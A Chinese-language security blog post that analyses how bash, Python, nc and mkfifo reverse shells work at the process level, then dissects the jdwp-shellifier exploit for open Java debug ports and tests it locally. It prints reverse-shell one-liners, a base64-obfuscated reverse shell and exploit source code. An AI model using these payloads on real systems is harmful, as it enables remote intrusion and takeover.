利用JAVA除錯協議JDWP實現反彈shell
前面已經有兩篇文章介紹了有關反彈shell的內容,使用Java反彈shell和 繞過exec獲取反彈shell 。之前的文章主要聚焦如何使用java來反彈shell。網上的各種文章也是將各種反彈shell的一句話的寫法。但是鮮有文章分析不同反彈shell的方式之間的差異性,以及反彈shell之間的程序關聯。
初識
BASH
還是以最為簡單的反彈shell為例來說明情況:
bash -i >& /dev/tcp/ip/port 0>&1
在本例中,我使用 8888
埠反彈shell
我們使用 ss
和 lsof
查詢資訊:
ss -anptw | grep 8888 tcpESTAB00172.16.1.2:56862ip:8888users:(("bash",pid=13662,fd=2),("bash",pid=13662,fd=1),("bash",pid=13662,fd=0)) lsof -i:8888 COMMANDPIDUSERFDTYPE DEVICE SIZE/OFF NODE NAME bash13662 username0uIPv4 5186990t0TCP dev:56862->ip:8888 (ESTABLISHED) bash13662 username1uIPv4 5186990t0TCP dev:56862->ip:8888 (ESTABLISHED) bash13662 username2uIPv4 5186990t0TCP dev:56862->ip:8888 (ESTABLISHED)
通過分析,確實與 ip:8888
建立了網路連結,並且檔案描述符0/1/2均建立了網路連結。分析下其中的程序關係
ps -ef | grep 13662 username13662 136450 16:56 pts/700:00:00 bash -i username13645 133320 16:55 pts/700:00:00 /bin/bash username13662 136450 16:56 pts/700:00:00 bash -i
當前網路連結的程序的PID是 13662
,程序是 bash -i
。而父程序是 13645
,是 /bin/bash
程序。
Python
以 Python
為例繼續分析:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
使用 Python
反彈shell的原理和上面 bash -i >& /dev/tcp/ip/port 0>&1
相同,只不過外面使用了 Python
封裝了一下。檢視資訊:
ss -anptw | grep 8888 tcpESTAB00172.16.1.2:59690IP:8888users:(("sh",pid=19802,fd=3),("sh",pid=19802,fd=2),("sh",pid=19802,fd=1),("sh",pid=19802,fd=0),("python",pid=19801,fd=3),("python",pid=19801,fd=2),("python",pid=19801,fd=1),("python",pid=19801,fd=0)) lsof -i:8888 COMMANDPIDUSERFDTYPE DEVICE SIZE/OFF NODE NAME python19801 username0uIPv4 5930620t0TCP usernamedev:59690->IP:8888 (ESTABLISHED) python19801 username1uIPv4 5930620t0TCP usernamedev:59690->IP:8888 (ESTABLISHED) python19801 username2uIPv4 5930620t0TCP usernamedev:59690->IP:8888 (ESTABLISHED) python19801 username3uIPv4 5930620t0TCP usernamedev:59690->IP:8888 (ESTABLISHED) sh19802 username0uIPv4 5930620t0TCP usernamedev:59690->IP:8888 (ESTABLISHED) sh19802 username1uIPv4 5930620t0TCP usernamedev:59690->IP:8888 (ESTABLISHED) sh19802 username2uIPv4 5930620t0TCP usernamedev:59690->IP:8888 (ESTABLISHED) sh19802 username3uIPv4 5930620t0TCP usernamedev:59690->IP:8888 (ESTABLISHED)
真正進行網路通訊的是程序是PID為 19802
的Sh程序,其父程序是 19801
程序。如下:
ps -ef | grep 19802 username19802 198010 19:46 pts/700:00:00 /bin/sh -i ps -ef | grep 19801 username19801 196380 19:46 pts/700:00:00 python -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); username19802 198010 19:46 pts/700:00:00 /bin/sh -i
所以使用Python反彈shell的原理其實就是使用 Python
開啟了 /bin/sh -i
,利用 /bin/sh -i
完成反彈shell。
Telnet
telnet IP 8888 | /bin/bash | telnet IP 9999
當然上面的寫法還可以換成 nc IP 8888 | /bin/bash | nc IP 9999
,本質上都是一樣的。以 nc IP 8888 | /bin/bash | nc IP 9999
為例來進行說明:
這種方式需要在遠端伺服器上面監聽 8888
和 9999
埠。分析其中的程序關係:
ss -anptw | grep 8888 tcpESTAB00172.16.1.2:33562IP:8888users:(("nc",pid=21613,fd=3)) ss -anptw | grep 9999 tcpESTAB00172.16.1.2:35876IP:9999users:(("nc",pid=21615,fd=3)) ps -ef | grep 15166 username1516675930 17:32 pts/1000:00:00 zsh username21613 151660 20:18 pts/1000:00:00 nc IP 8888 username21614 151660 20:18 pts/1000:00:00 /bin/bash username21615 151660 20:18 pts/1000:00:00 nc IP 9999
可以看到 /bin/bash
和兩個nc的父程序是相同的,都是 zsh
程序。
那麼 這三個程序之間是如何進行通訊的呢?我們來分別看三者之間的fd。
21614
ls -al /proc/21614/fd dr-x------ 2 username username0 Apr 10 20:19 . dr-xr-xr-x 9 username username0 Apr 10 20:19 .. lr-x------ 1 username username 64 Apr 10 20:19 0 -> 'pipe:[618298]' l-wx------ 1 username username 64 Apr 10 20:19 1 -> 'pipe:[618300]' lrwx------ 1 username username 64 Apr 10 20:19 2 -> /dev/pts/10
21613
ls -al /proc/21613/fd dr-x------ 2 username username0 Apr 10 20:19 . dr-xr-xr-x 9 username username0 Apr 10 20:19 .. lrwx------ 1 username username 64 Apr 10 20:19 0 -> /dev/pts/10 l-wx------ 1 username username 64 Apr 10 20:19 1 -> 'pipe:[618298]' lrwx------ 1 username username 64 Apr 10 20:19 2 -> /dev/pts/10 lrwx------ 1 username username 64 Apr 10 20:19 3 -> 'socket:[617199]'
21615
ls -al /proc/21615/fd dr-x------ 2 username username0 Apr 10 20:19 . dr-xr-xr-x 9 username username0 Apr 10 20:19 .. lr-x------ 1 username username 64 Apr 10 20:19 0 -> 'pipe:[618300]' lrwx------ 1 username username 64 Apr 10 20:19 1 -> /dev/pts/10 lrwx------ 1 username username 64 Apr 10 20:19 2 -> /dev/pts/10 lrwx------ 1 username username 64 Apr 10 20:19 3 -> 'socket:[619628]'
那麼這三者之間的關係如下圖所示:

這樣在 IP:8888
中輸出命令就能夠在 IP:9999
中看到輸出。
mkfifo
在介紹 mkfifo
之前,需要了解一些有關Linux中與管道相關的知識。管道是一種最基本的IPC機制,主要是用於程序間的通訊,完成資料傳遞。管道常見的就是平時看到的 pipe
。 pipe
是一種匿名管道,匿名管道只能用於有親系關係的程序間通訊,即只能在父程序與子程序或兄弟程序間通訊。而通過 mkfifo
建立的管道是有名管道,有名管道就是用於沒有情緣關係之間的程序通訊。
而通訊方式又分為:單工通訊、半雙工通訊、全雙工通訊。
- 單工通訊:單工資料傳輸只支援資料在一個方向上傳輸,就和傳呼機一樣。例如資訊只能由一方A傳到另一方B,一旦確定傳-輸方和接受方之後,就不能改變了,只能是一方接受資料,另一方發發送資料。
- 半雙工通訊:資料傳輸指資料可以在一個訊號載體的兩個方向上傳輸,但是不能同時傳輸。在半雙工模式下,雙方都可以作為資料的傳送放和接受方,但是在同一個時刻只能是一方向另一方傳送資料。
- 全雙工通訊:通訊雙方都能在同一時刻進行傳送和接收資料。這種模式就像電話一樣,雙方在聽對方說話的同時自己也可以說話。
通過 mkfifo
建立的有名管道就是一個半雙工的管道。例如:
mkfifo /tmp/f ls -al/tmp/f prw-r--r-- 1 username username 0 Apr 14 15:30 /tmp/f
通過 mkfifo
建立了 f
一個有名管道,可以發現其檔案屬性是 p
, p
就是表示管道的含義。然後我們分析下使用 mkfifo
進行反彈shell的用法:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 8888 > /tmp/f
分析 8888
埠:
ss -anptw | grep 8888 tcpESTAB00172.16.1.2:32976IP:8888users:(("nc",pid=22222,fd=3)) lsof -i:8888 COMMANDPIDUSERFDTYPEDEVICE SIZE/OFF NODE NAME nc22222 username3uIPv4 26118180t0TCP usernamedev:32976->IP:8888 (ESTABLISHED)
檢視程序資訊:
ps -ef | grep 22222 username22222 262330 15:48 pts/500:00:00 nc IP 8888 ps -ef | grep 26233 username22220 262330 15:48 pts/500:00:00 cat /tmp/f username22221 262330 15:48 pts/500:00:00 /bin/sh -i username22222 262330 15:48 pts/500:00:00 nc IP 8888 username2623375930 Apr12 pts/500:00:00 zsh
可以看到 cat /tmp/f
, /bin/sh -i
, nc IP 8888
三者的父程序相同,父程序都是 zsh
程序。那麼 cat /tmp/f
, /bin/sh -i
, nc IP 8888
這三者的關係又是什麼樣的呢?
cat /tmp/f
ls -al/proc/22220/fd total 0 dr-x------ 2 username username0 Apr 14 15:48 . dr-xr-xr-x 9 username username0 Apr 14 15:48 .. lrwx------ 1 username username 64 Apr 14 15:48 0 -> /dev/pts/5 l-wx------ 1 username username 64 Apr 14 15:48 1 -> 'pipe:[2609647]' lrwx------ 1 username username 64 Apr 14 15:48 2 -> /dev/pts/5 lr-x------ 1 username username 64 Apr 14 15:48 3 -> /tmp/f
/bin/sh -i
ls -al/proc/22221/fd total 0 dr-x------ 2 username username0 Apr 14 15:48 . dr-xr-xr-x 9 username username0 Apr 14 15:48 .. lr-x------ 1 username username 64 Apr 14 15:48 0 -> 'pipe:[2609647]' l-wx------ 1 username username 64 Apr 14 15:48 1 -> 'pipe:[2609649]' lrwx------ 1 username username 64 Apr 14 15:48 10 -> /dev/tty l-wx------ 1 username username 64 Apr 14 15:48 2 -> 'pipe:[2609649]'
nc IP 8888
ls -al/proc/22222/fd total 0 dr-x------ 2 username username0 Apr 14 15:48 . dr-xr-xr-x 9 username username0 Apr 14 15:48 .. lr-x------ 1 username username 64 Apr 14 15:48 0 -> 'pipe:[2609649]' l-wx------ 1 username username 64 Apr 14 15:48 1 -> /tmp/f lrwx------ 1 username username 64 Apr 14 15:48 2 -> /dev/pts/5 lrwx------ 1 username username 64 Apr 14 15:48 3 -> 'socket:[2611818]'
整個反彈shell的過程其實就是利用了 /tmp/f
作為程序通訊的工具,完成了資料回顯。如何理解上述的過程呢?還是流程圖為例來說明。
通過上述的流程圖,可以看到在 remote server
的輸入通過 /tmp/f
這個管道符,被 /bin/sh
當作輸入。 /bin/sh
執行完命令之後,將結果有傳送至 nc
的標準輸入,最終就會在 remote server
上面展示最終的命令執行的結果。
小結
上面三種就是常見的反彈shell的方式。三者的利用方式也是越來越複雜,但是也基本上涵蓋了目前常見的反彈shell的利用方式。
-
bash
的方式就是標準輸入和輸出分別重定向到remote server
,這種方式最為簡單,檢測方法也很直觀; -
python
反彈shell的方式也比較的簡單,本質上就是開啟了一個bash
,直接在bash
中執行反彈shell的命令,和方式1大同小異; -
mkfifo
是通過管道符傳遞資訊,所以檔案描述符大部分都是pipe
(管道符)。但是在Linux系統中使用管道符是一個非常普遍的情況,而像mkfifo
這種使用多個管道符來反彈shell的更加為檢測識別反彈shell增加了難度。
JDWP
其實上述的知識都是為了分析 JDWP
的反彈shell的鋪墊。 根據 JDWP 協議及實現
JDWP 是 Java Debug Wire Protocol 的縮寫,它定義了偵錯程式(debugger)和被除錯的 Java 虛擬機器(target vm)之間的通訊協議。
換句話說,就是 JDWP
就是JAVA的一個除錯協議。本質上我們通過 IDEA
或者 eclipse
通過斷點的方式除錯JAVA應用時,使用的就是 JDWP
.之前寫過的 Nuxeo RCE漏洞分析 中的 第一步Docker遠端除錯 用的是 JDWP
.而 JDWP
的漏洞的危害就如同之前寫過的文章xdebug的攻擊面。因為是除錯協議,不可能帶有認證資訊,那麼對於一個開啟了除錯埠的JAVA應用,我們就可能利用 JDWP
進行除錯,最終執行命令。在什麼時候會使用到 JDWP
這種協議呢?比如你在線上跑了一個應用,但是這個問題只有在線上才會出現問題,那麼這個時候就必須開啟遠端除錯功能了,此時就有可能被攻擊者利用RCE。
JDWP是通過一個簡單的握手完成通訊認證。在TCP連線完之後,DEBUG的客戶端就會發送 JDWP-Handshake
,而服務端同樣會回覆 JDWP-Handshake
.通過抓包分析:
JDWP通訊解析格式
JDWP通訊解析格式如下所示:

id
和 length
的含義非常簡單。 flag
欄位用於表明是請求包還是返回包,如果flag是 0x80
就表示一個返回包。 CommandSet
定義了 Command
的類別。
- 0x40,JVM的行為,例如打斷點;
- 0x40–0x7F,當執行到斷點處,JVM需要進行進一步的操作;
- 0x80,第三方擴充套件;
如果我們想執行RCE,以下的幾個方法是尤為需要注意的:
-
VirtualMachine/IDSizes
確定了能夠被JVM處理的資料包的大小. -
ClassType/InvokeMethod
允許你喚起一個靜態函式 -
ObjectReference/InvokeMethod
、允許你喚起JVM中一個例項化物件的方法; -
StackFrame/(Get|Set)
提供了執行緒堆疊的pushing/popping的功能; -
Event/Composite
強制JVM執行此命令的行為,此命令是除錯需要的金鑰。這個事件能夠要求JVM按照其意願設定斷點,單步除錯,以及類似與像GDB
或者WinGDB
的方式一樣進行除錯。JDWP提供了內建命令來將任意類載入到JVM記憶體中並呼叫已經存在和/或新載入的位元組碼。
我們以 jdwp-shellifier.py
為例來說明 JDWP
的利用方法:
% python ./jdwp-shellifier.py -h usage: jdwp-shellifier.py [-h] -t IP [-p PORT] [--break-on JAVA_METHOD] [--cmd COMMAND] Universal exploitation script for JDWP by @_hugsy_ optional arguments: -h, --helpshow this help message and exit -t IP, --target IPRemote target IP (default: None) -p PORT, --port PORTRemote target port (default: 8000) --break-on JAVA_METHOD Specify full path to method to break on (default: java.net.ServerSocket.accept) --cmd COMMANDSpecify full path to method to break on (default: None)
使用 python ./jdwp-shellifier.py -t my.target.ip -p 1234
嘗試連線開啟了 JDWP
協議的埠;
使用 --cmd
執行命令
python ./jdwp-shellifier.py -t my.target.ip -p 1234 --cmd "touch 123.txt"
jdwp-shellifier分析
開啟除錯
我們在本機開啟9999的除錯埠, java -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=9999 -jar demo.jar
執行jdwp
嘗試連線到本機的 9999
埠, python2 jdwp-shellifier.py -t 127.0.0.1 -p 9999
。預設情況下,會在 java.net.ServerSocket.accept()
函式加上斷點。
parser = argparse.ArgumentParser(description="Universal exploitation script for JDWP by @_hugsy_", formatter_class=argparse.ArgumentDefaultsHelpFormatter ) parser.add_argument("-t", "--target", type=str, metavar="IP", help="Remote target IP", required=True) parser.add_argument("-p", "--port", type=int, metavar="PORT", default=8000, help="Remote target port") parser.add_argument("--break-on", dest="break_on", type=str, metavar="JAVA_METHOD", default="java.net.ServerSocket.accept", help="Specify full path to method to break on") parser.add_argument("--cmd", dest="cmd", type=str, metavar="COMMAND", help="Specify command to execute remotely") args = parser.parse_args() classname, meth = str2fqclass(args.break_on) setattr(args, "break_on_class", classname) setattr(args, "break_on_method", meth)
-
break_on_class
,'Ljava/net/ServerSocket;'
-
break_on_method
,'accept'
之後執行 start()
方法:
def start(self): self.handshake(self.host, self.port) self.idsizes() self.getversion() self.allclasses() return cli = JDWPClient(args.target, args.port) cli.start()
分析 self.handshake(self.host, self.port)
的握手協議:
HANDSHAKE= "JDWP-Handshake" def handshake(self, host, port): s = socket.socket() try: s.connect( (host, port) ) except socket.error as msg: raise Exception("Failed to connect: %s" % msg) s.send( HANDSHAKE ) if s.recv( len(HANDSHAKE) ) != HANDSHAKE: raise Exception("Failed to handshake") else: self.socket = s return
握手協議很簡單,通過 socket
傳送 JDWP-Handshake
包。如果相應包也是 JDWP-Handshake
表示握手成功。
IDSIZES_SIG= (1, 7) def idsizes(self): self.socket.sendall( self.create_packet(IDSIZES_SIG) ) buf = self.read_reply() formats = [ ("I", "fieldIDSize"), ("I", "methodIDSize"), ("I", "objectIDSize"), ("I", "referenceTypeIDSize"), ("I", "frameIDSize") ] for entry in self.parse_entries(buf, formats, False): for name,valuein entry.iteritems(): setattr(self, name, value) return
通過向服務端傳送 IDSIZES_SIG = (1, 7)
的包,然後利用 parse_entries()
方法得到一些JDWP的屬性,包括 fieldIDSize
, methodIDSize
等屬性。執行完畢之後得到的屬性如下:
之後執行 getversion()
方法,得到JVM相關的配置資訊。
def getversion(self): self.socket.sendall( self.create_packet(VERSION_SIG) ) buf = self.read_reply() formats = [ ('S', "description"), ('I', "jdwpMajor"), ('I', "jdwpMinor"), ('S', "vmVersion"), ('S', "vmName"), ] for entry in self.parse_entries(buf, formats, False): for name,valuein entry.iteritems(): setattr(self, name, value) return
接下來執行
ALLCLASSES_SIG= (1, 3) def allclasses(self): try: getattr(self, "classes") except: self.socket.sendall( self.create_packet(ALLCLASSES_SIG) ) buf = self.read_reply() formats = [ ('C', "refTypeTag"), (self.referenceTypeIDSize, "refTypeId"), ('S', "signature"), ('I', "status")] self.classes = self.parse_entries(buf, formats) return self.classes
通過 socket
傳送 ALLCLASSES_SIG = (1, 3)
的包,利用 parse_entries()
解析返回包的資料,得到 refTypeTag
, refTypeId
等資訊。以下就是得到所有的結果:
runtime_exec
def runtime_exec(jdwp, args): print ("[+] Targeting '%s:%d'" % (args.target, args.port)) print ("[+] Reading settings for '%s'" % jdwp.version) # 1. get Runtime class reference runtimeClass = jdwp.get_class_by_name("Ljava/lang/Runtime;") if runtimeClass is None: print ("[-] Cannot find class Runtime") return False print ("[+] Found Runtime class: id=%x" % runtimeClass["refTypeId"]) # 2. get getRuntime() meth reference jdwp.get_methods(runtimeClass["refTypeId"]) getRuntimeMeth = jdwp.get_method_by_name("getRuntime") if getRuntimeMeth is None: print ("[-] Cannot find method Runtime.getRuntime()") return False print ("[+] Found Runtime.getRuntime(): id=%x" % getRuntimeMeth["methodId"]) # 3. setup breakpoint on frequently called method c = jdwp.get_class_by_name( args.break_on_class ) if c is None: print("[-] Could not access class '%s'" % args.break_on_class) print("[-] It is possible that this class is not used by application") print("[-] Test with another one with option `--break-on`") return False jdwp.get_methods( c["refTypeId"] ) m = jdwp.get_method_by_name( args.break_on_method ) if m is None: print("[-] Could not access method '%s'" % args.break_on) return False loc = chr( TYPE_CLASS ) loc+= jdwp.format( jdwp.referenceTypeIDSize, c["refTypeId"] ) loc+= jdwp.format( jdwp.methodIDSize, m["methodId"] ) loc+= struct.pack(">II", 0, 0) data = [ (MODKIND_LOCATIONONLY, loc), ] rId = jdwp.send_event( EVENT_BREAKPOINT, *data ) print ("[+] Created break event id=%x" % rId) # 4. resume vm and wait for event jdwp.resumevm() print ("[+] Waiting for an event on '%s'" % args.break_on) while True: buf = jdwp.wait_for_event() ret = jdwp.parse_event_breakpoint(buf, rId) if ret is not None: break rId, tId, loc = ret print ("[+] Received matching event from thread %#x" % tId) jdwp.clear_event(EVENT_BREAKPOINT, rId) # 5. Now we can execute any code if args.cmd: runtime_exec_payload(jdwp, tId, runtimeClass["refTypeId"], getRuntimeMeth["methodId"], args.cmd) else: # by default, only prints out few system properties runtime_exec_info(jdwp, tId) jdwp.resumevm() print ("[!] Command successfully executed") return True if runtime_exec(cli, args) == False: print ("[-] Exploit failed") retcode = 1
runtime_exec()
此方法類似與Java反彈shell中的利用ivoke的方式得到 Runtime
物件,然後利用 Runtime
物件進一步執行命令,從而最終達到RCE。
第一步,得到 Runtime
類
# 1. get Runtime class reference runtimeClass = jdwp.get_class_by_name("Ljava/lang/Runtime;") if runtimeClass is None: print ("[-] Cannot find class Runtime") return False print ("[+] Found Runtime class: id=%x" % runtimeClass["refTypeId"])
第二步,得到 getRuntime()
方法
# 2. get getRuntime() meth reference jdwp.get_methods(runtimeClass["refTypeId"]) getRuntimeMeth = jdwp.get_method_by_name("getRuntime") if getRuntimeMeth is None: print ("[-] Cannot find method Runtime.getRuntime()") return False print ("[+] Found Runtime.getRuntime(): id=%x" % getRuntimeMeth["methodId"])
以上兩步的程式碼就類似於Java中的:
Class cls = Class.forName("java.lang.Runtime"); Method m = cls.getMethod("getRuntime");
第三步,得到斷點設定的類和方法
# 3. setup breakpoint on frequently called method c = jdwp.get_class_by_name( args.break_on_class ) if c is None: print("[-] Could not access class '%s'" % args.break_on_class) print("[-] It is possible that this class is not used by application") print("[-] Test with another one with option `--break-on`") return False jdwp.get_methods( c["refTypeId"] ) m = jdwp.get_method_by_name( args.break_on_method ) if m is None: print("[-] Could not access method '%s'" % args.break_on) return False
在預設情況下, c
是 Ljava/net/ServerSocket;
, m
是 accept
。
第四步,向JVM發生資料,表示需要 ServerSocket.accept()
在下斷點
loc = chr( TYPE_CLASS ) loc+= jdwp.format( jdwp.referenceTypeIDSize, c["refTypeId"] ) loc+= jdwp.format( jdwp.methodIDSize, m["methodId"] ) loc+= struct.pack(">II", 0, 0) data = [ (MODKIND_LOCATIONONLY, loc), ] rId = jdwp.send_event( EVENT_BREAKPOINT, *data )
第五步,等待程式執行至斷點處,執行完畢之後清除斷點。
# 4. resume vm and wait for event jdwp.resumevm() print ("[+] Waiting for an event on '%s'" % args.break_on) while True: buf = jdwp.wait_for_event() ret = jdwp.parse_event_breakpoint(buf, rId) if ret is not None: break rId, tId, loc = ret print ("[+] Received matching event from thread %#x" % tId) jdwp.clear_event(EVENT_BREAKPOINT, rId)
第六步,執行自定義的命令
def runtime_exec_payload(jdwp, threadId, runtimeClassId, getRuntimeMethId, command): # # This function will invoke command as a payload, which will be running # with JVM privilege on host (intrusive). # print ("[+] Selected payload '%s'" % command) # 1. allocating string containing our command to exec() cmdObjIds = jdwp.createstring( command ) if len(cmdObjIds) == 0: print ("[-] Failed to allocate command") return False cmdObjId = cmdObjIds[0]["objId"] print ("[+] Command string object created id:%x" % cmdObjId) # 2. use context to get Runtime object buf = jdwp.invokestatic(runtimeClassId, threadId, getRuntimeMethId) if buf[0] != chr(TAG_OBJECT): print ("[-] Unexpected returned type: expecting Object") return False rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) if rt is None: print "[-] Failed to invoke Runtime.getRuntime()" return False print ("[+] Runtime.getRuntime() returned context id:%#x" % rt) # 3. find exec() method execMeth = jdwp.get_method_by_name("exec") if execMeth is None: print ("[-] Cannot find method Runtime.exec()") return False print ("[+] found Runtime.exec(): id=%x" % execMeth["methodId"]) # 4. call exec() in this context with the alloc-ed data = [ chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmdObjId) ] buf = jdwp.invoke(rt, threadId, runtimeClassId, execMeth["methodId"], *data) if buf[0] != chr(TAG_OBJECT): print ("[-] Unexpected returned type: expecting Object") return False print(buf) retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) print ("[+] Runtime.exec() successful, retId=%x" % retId) return True # 5. Now we can execute any code if args.cmd: runtime_exec_payload(jdwp, tId, runtimeClass["refTypeId"], getRuntimeMeth["methodId"], args.cmd) else: # by default, only prints out few system properties runtime_exec_info(jdwp, tId) jdwp.resumevm()
在中最關鍵的就是:
data = [ chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmdObjId) ] # 得到需要執行的反覆噶 buf = jdwp.invoke(rt, threadId, runtimeClassId, execMeth["methodId"], *data)#利用Runtime.getRuntime().exec()執行。
上面的程式碼就等價於Java中的:
Class cls = Class.forName("java.lang.Runtime"); Method m = cls.getMethod("getRuntime"); Method exec = cls.getMethod("exec", String.class); // 執行getRuntime()方法,等價於 Object o = Runtime.getRuntime(); Object o = m.invoke(cls,null); // 執行exec方法,等價於 Runtime.getRuntime().exec(command) exec.invoke(o,command);
以上就是整個執行流程。
反彈shell
demo.jar
是一個springboot的程式,核心邏輯如下:
public class DemoApplication { public static void main(String[] args) { SpringApplication.run(DemoApplication.class, args); } @RequestMapping(path = {"/","/index"}, method = {RequestMethod.GET}) public String index(Model model) throws Exception { int result = "12345".indexOf(0); System.out.println(result); return "index"; } }
那麼我們就可以嘗試通過如下的方式進行反彈shell。
python jdwp-shellifier.py -t 127.0.0.1 -p 9999 --break-on 'java.lang.String.indexOf' --cmd 'touch exploit.txt'
結果輸出的結果如下:
python jdwp-shellifier.py -t 127.0.0.1 -p 9999 --break-on 'java.lang.String.indexOf' --cmd 'touch exploit.txt' [+] Targeting '127.0.0.1:9999' [+] Reading settings for 'OpenJDK 64-Bit Server VM - 1.8.0_191' [+] Found Runtime class: id=150e [+] Found Runtime.getRuntime(): id=7ff960045930 [+] Created break event id=2 [+] Waiting for an event on 'java.lang.String.indexOf' [+] Received matching event from thread 0x15fa [+] Selected payload 'touch exploit.txt' [+] Command string object created id:15fb [+] Runtime.getRuntime() returned context id:0x15fc [+] found Runtime.exec(): id=7ff960011e10 [+] Runtime.exec() successful, retId=15fd [!] Command successfully executed
在 demo.jar
的統計目錄下檢視檔案:
drwxrwxr-x 2 username username4096 Apr 18 13:47 . drwxrwxr-x 8 username username4096 Apr7 20:39 .. -rw-rw-r-- 1 username username 16726504 Apr 16 20:41 demo.jar -rw-r--r-- 1 username username0 Apr 18 13:47 exploit.txt
說明成功執行了cmd引數中的命令,那麼我們有如何反彈shell呢?我們按照常規的反彈shell的思路, python jdwp-shellifier.py -t 127.0.0.1 -p 9999 --break-on 'java.lang.String.indexOf' --cmd '/bin/bash -i >& /dev/tcp/127.0.0.1/12345 0>&1'
,最終的執行結果如下:
python jdwp-shellifier.py -t 127.0.0.1 -p 9999 --break-on 'java.lang.String.indexOf' --cmd '/bin/bash -i >& /dev/tcp/127.0.0.1/12345 0>&1' [+] Targeting '127.0.0.1:9999' [+] Reading settings for 'OpenJDK 64-Bit Server VM - 1.8.0_191' [+] Found Runtime class: id=1645 [+] Found Runtime.getRuntime(): id=7ff960045930 [+] Created break event id=2 [+] Waiting for an event on 'java.lang.String.indexOf' [+] Received matching event from thread 0x1731 [+] Selected payload '/bin/bash -i >& /dev/tcp/127.0.0.1/12345 0>&1' [+] Command string object created id:1732 [+] Runtime.getRuntime() returned context id:0x1733 [+] found Runtime.exec(): id=7ff960011e10 [+] Runtime.exec() successful, retId=1734 [!] Command successfully executed
雖然執行結果顯示成功執行,但是實際上反彈shell並沒有成功。原因其實在之前的文章 繞過exec獲取反彈shell 中也已經講過了,通過 Runtime.getRuntime().exec("bash -i >& /dev/tcp/ip/port 0>&1");
這種方式是無法反彈shell的。而在本例中剛好利用的是 execMeth = jdwp.get_method_by_name("exec")
,得到就是 public Process exec(String command)
這個 exec()
,所以就無法反彈shell。那麼按照我文章提供的種種思路,都是可以成功實現反彈shell的,我們還是通過最為簡單的方式
最終我們使用如下的 python jdwp-shellifier.py -t 127.0.0.1 -p 9999 --break-on 'java.lang.String.indexOf' --cmd 'bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS8xMjM0NSAwPiYx}|{base64,-d}|{bash,-i}'
最終我們得到的結果就是:
python jdwp-shellifier.py -t 127.0.0.1 -p 9999 --break-on 'java.lang.String.indexOf' --cmd 'bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS8xMjM0NSAwPiYx}|{base64,-d}|{bash,-i}' [+] Targeting '127.0.0.1:9999' [+] Reading settings for 'OpenJDK 64-Bit Server VM - 1.8.0_191' [+] Found Runtime class: id=1511 [+] Found Runtime.getRuntime(): id=7f2bb8046360 [+] Created break event id=2 [+] Waiting for an event on 'java.lang.String.indexOf' [+] Received matching event from thread 0x15fd [+] Selected payload 'bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS8xMjM0NSAwPiYx}|{base64,-d}|{bash,-i}' [+] Command string object created id:15fe [+] Runtime.getRuntime() returned context id:0x15ff [+] found Runtime.exec(): id=7f2bb8010410 [+] Runtime.exec() successful, retId=1600 [!] Command successfully executed
最終成功地觸發了反彈shell。
JDWP反彈流程
上面是從 jdwp-shellifier
的原始碼上面對利用進行了分析,那麼我們還是來分析一下在exploit過程中的埠和程序的變化。
在 indexOf
加上斷點:
(jdwp-rce/ss -anptw | grep 9999 tcpLISTEN010.0.0.0:99990.0.0.0:*users:(("java",pid=9822,fd=4)) tcpTIME-WAIT00127.0.0.1:50644127.0.0.1:9999 (jdwp-rce/ss -anptw | grep 9999 tcpESTAB00127.0.0.1:9999127.0.0.1:50670users:(("java",pid=9822,fd=5)) tcpESTAB00127.0.0.1:50670127.0.0.1:9999users:(("python",pid=9978,fd=3)) (jdwp-rce/lsof -i:9999 COMMANDPIDUSERFDTYPE DEVICE SIZE/OFF NODE NAME java9822 username5uIPv4 3667380t0TCP localhost:9999->localhost:50670 (ESTABLISHED) python9978 username3uIPv4 3668680t0TCP localhost:50670->localhost:9999 (ESTABLISHED)
此時是 Python
和 java
進行通訊。而此時的 12345
埠只有 nc
的監聽埠。
(jdwp-rce/ss -anptw | grep 12345 tcpLISTEN010.0.0.0:123450.0.0.0:*users:(("nc",pid=9977,fd=3))
此時執行訪問 localhost:8888
,觸發 indexOf()
方法的執行。此時觀察:
(jdwp-rce/ss -anptw | grep 12345 tcpLISTEN010.0.0.0:123450.0.0.0:*users:(("nc",pid=9977,fd=3)) tcpESTAB00127.0.0.1:12345127.0.0.1:51406 users:(("nc",pid=9977,fd=4)) tcpESTAB00127.0.0.1:51406127.0.0.1:12345 users:(("bash",pid=10120,fd=2),("bash",pid=10120,fd=1),("bash",pid=10120,fd=0)) (jdwp-rce/lsof -i:12345 COMMANDPIDUSERFDTYPE DEVICE SIZE/OFF NODE NAME nc9977 username3uIPv4 3639610t0TCP *:12345 (LISTEN) nc9977 username4uIPv4 3639620t0TCP localhost:12345->localhost:51406 (ESTABLISHED) bash10120 username0uIPv4 3709300t0TCP localhost:51406->localhost:12345 (ESTABLISHED) bash10120 username1uIPv4 3709300t0TCP localhost:51406->localhost:12345 (ESTABLISHED) bash10120 username2uIPv4 3709300t0TCP localhost:51406->localhost:12345 (ESTABLISHED) (jdwp-rce/ps -ef | grep 10120 username10120 101070 17:31 pts/000:00:00 /bin/bash -i
可以看到 /bin/bash -i
和 nc
已經建立了 ESTABLISHED
的連線,從而實現了反彈shell。為什麼是這個樣子?其實通過前面的分析,其實已經可以知道 JDWP
反彈shell的原理本質上還是利用的 Runtime.getRuntime().exec("bash -i >& /dev/tcp/ip/port 0>&1");
這種方式反彈shell,所以本質上和 JAVA
並沒有關係。最後的分析也證實了這一點。
總結
